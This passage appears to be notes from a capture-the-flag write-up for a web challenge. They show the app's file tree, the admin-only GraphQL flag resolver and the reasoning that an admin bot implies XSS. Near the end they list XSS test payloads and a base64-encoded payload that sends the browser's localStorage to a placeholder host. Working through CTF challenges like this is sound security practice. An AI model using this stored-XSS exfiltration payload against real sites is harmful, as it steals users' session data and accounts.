└─part1
│ .editorconfig
│ .eslintrc.js
│ .gitignore
│ .yarnrc.yml
│ docker-compose.yml
│ package.json
│ README.md
│ tsconfig.base.json
│ tsconfig.dom.json
│ tsconfig.node.json
│ turbo.json
│ yarn.lock
│
├─.vscode
│ settings.json
│
├─.yarn
│ │ install-state.gz
│ │
│ └─releases
│ yarn-3.4.1.cjs
│
├─misc
│ init.sql
│
└─packages
├─client
│ │ Dockerfile
│ │ index.html
│ │ nginx.conf
│ │ package.json
│ │ tsconfig.json
│ │ vite.config.mjs
│ │
│ ├─assets
│ │ plaidplus.png
│ │ star.png
│ │
│ ├─public
│ │ brilliant-beetle.png
│ │ eternal-cruise.png
│ │ mermaidsea.png
│ │ over-the-deck-rail.png
│ │ the-seagulls-nest.png
│ │
│ └─src
│ │ apollo.tsx
│ │ index.scss
│ │ index.tsx
│ │
│ ├─components
│ │ ├─AddToPlaylistButton
│ │ │ AddToPlaylistButton.module.scss
│ │ │ AddToPlaylistButton.tsx
│ │ │ index.tsx
│ │ │
│ │ ├─EnsureAdmin
│ │ │ EnsureAdmin.tsx
│ │ │ index.tsx
│ │ │
│ │ ├─EnsureLoggedIn
│ │ │ EnsureLoggedIn.tsx
│ │ │ index.tsx
│ │ │
│ │ ├─EpisodePanel
│ │ │ EpisodePanel.module.scss
│ │ │ EpisodePanel.tsx
│ │ │ index.tsx
│ │ │
│ │ ├─Footer
│ │ │ Footer.module.scss
│ │ │ Footer.tsx
│ │ │ index.tsx
│ │ │
│ │ ├─GenresSelector
│ │ │ GenresSelector.module.scss
│ │ │ GenresSelector.tsx
│ │ │ index.tsx
│ │ │
│ │ ├─Header
│ │ │ Header.module.scss
│ │ │ Header.tsx
│ │ │ index.tsx
│ │ │
│ │ ├─Panel
│ │ │ index.tsx
│ │ │ Panel.module.scss
│ │ │ Panel.tsx
│ │ │
│ │ ├─Promo
│ │ │ index.tsx
│ │ │ Promo.module.scss
│ │ │ Promo.tsx
│ │ │
│ │ ├─Rating
│ │ │ index.tsx
│ │ │ Rating.module.scss
│ │ │ Rating.tsx
│ │ │
│ │ ├─ReportButton
│ │ │ index.tsx
│ │ │ ReportButton.module.scss
│ │ │ ReportButton.tsx
│ │ │
│ │ ├─UpsertEpisodePanel
│ │ │ index.tsx
│ │ │ UpsertEpisodePanel.module.scss
│ │ │ UpsertEpisodePanel.tsx
│ │ │
│ │ ├─UpsertPlaylistPanel
│ │ │ index.tsx
│ │ │ UpsertPlaylistPanel.module.scss
│ │ │ UpsertPlaylistPanel.tsx
│ │ │
│ │ └─UpsertShowPanel
│ │ index.tsx
│ │ UpsertShowPanel.module.scss
│ │ UpsertShowPanel.tsx
│ │
│ ├─utils
│ │ css.tsx
│ │ gql.tsx
│ │ qs.tsx
│ │ uuid.tsx
│ │
│ └─views
│ ├─BaseView
│ │ BaseView.module.scss
│ │ BaseView.tsx
│ │ index.tsx
│ │
│ ├─CreateEpisode
│ │ CreateEpisode.module.scss
│ │ CreateEpisode.tsx
│ │ index.tsx
│ │
│ ├─CreatePlaylist
│ │ CreatePlaylist.module.scss
│ │ CreatePlaylist.tsx
│ │ index.tsx
│ │
│ ├─CreateShow
│ │ CreateShow.module.scss
│ │ CreateShow.tsx
│ │ index.tsx
│ │
│ ├─EditEpisode
│ │ EditEpisode.module.scss
│ │ EditEpisode.tsx
│ │ index.tsx
│ │
│ ├─EditShow
│ │ EditShow.module.scss
│ │ EditShow.tsx
│ │ index.tsx
│ │
│ ├─Episode
│ │ Episode.module.scss
│ │ Episode.tsx
│ │ index.tsx
│ │
│ ├─Genre
│ │ Genre.module.scss
│ │ Genre.tsx
│ │ index.tsx
│ │ ShowsPanel.module.scss
│ │ ShowsPanel.tsx
│ │
│ ├─Home
│ │ FeaturedPanel.module.scss
│ │ FeaturedPanel.tsx
│ │ Home.module.scss
│ │ Home.tsx
│ │ index.tsx
│ │ OngoingPanel.module.scss
│ │ OngoingPanel.tsx
│ │ RecentPanel.module.scss
│ │ RecentPanel.tsx
│ │
│ ├─Login
│ │ index.tsx
│ │ Login.module.scss
│ │ Login.tsx
│ │ LoginPanel.module.scss
│ │ LoginPanel.tsx
│ │
│ ├─Playlist
│ │ index.tsx
│ │ Playlist.module.scss
│ │ Playlist.tsx
│ │
│ ├─Register
│ │ index.tsx
│ │ Register.module.scss
│ │ Register.tsx
│ │ RegisterPanel.module.scss
│ │ RegisterPanel.tsx
│ │
│ ├─Show
│ │ EpisodesPanel.module.scss
│ │ EpisodesPanel.tsx
│ │ index.tsx
│ │ InfoPanel.module.scss
│ │ InfoPanel.tsx
│ │ RecentPanel.module.scss
│ │ RecentPanel.tsx
│ │ Show.module.scss
│ │ Show.tsx
│ │
│ └─User
│ index.tsx
│ User.module.scss
│ User.tsx
│ UserPlaylistsPanel.module.scss
│ UserPlaylistsPanel.tsx
│ UserShowsPanel.module.scss
│ UserShowsPanel.tsx
│
└─server
│ .eslintignore
│ build.mjs
│ Dockerfile
│ package.json
│ README.md
│ tsconfig.json
│
└─src
auth.mts
context.mts
db.mts
index.mts
jwt.mts
renderHtml.mts
report.mts
sql.mts
types.mts
//index.mts
...
const Flag = process.env["FLAG"] ?? "PCTF{fake_flag}";
...
// in const resolvers = {Mutation: {...}}
...
flag: async (
_: {},
args: {},
context: Context
) => {
assertLoggedIn(context);
await assertAdmin(context);
return Flag;
}
...
assertAdmin()
func//auth.mts
...
export async function assertAdmin(context: Context & { user: string }) {
const user = await loadUser(context.user);
if (user.name !== "admin") {
throw new Error("Not authorized");
}
}
...
It means, we need to login as ADMIN
And, this chall have admin bot to execute our URL
Thus, maybe have XSS vuln
In Local ENV (docker), we can access ADMIN account [admin / password]
After login as ADMIN, if we access the graphql to mutation > flag, we can read FLAG
<img src=x onerror=alert(1)>
test<img src=x>
ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPScvL3BlbnRlc3Q6MDAwMC8/Yz0iKyBKU09OLnN0cmluZ2lmeShsb2NhbFN0b3JhZ2UpICsiJyAvPiIp
>
document.write("<img src='//pentest:0000/?c="+ JSON.stringify(localStorage) +"' />")
http://10.47.18.149:5000/user/3a9d6423-fdee-4a35-9d31-68fe192ed992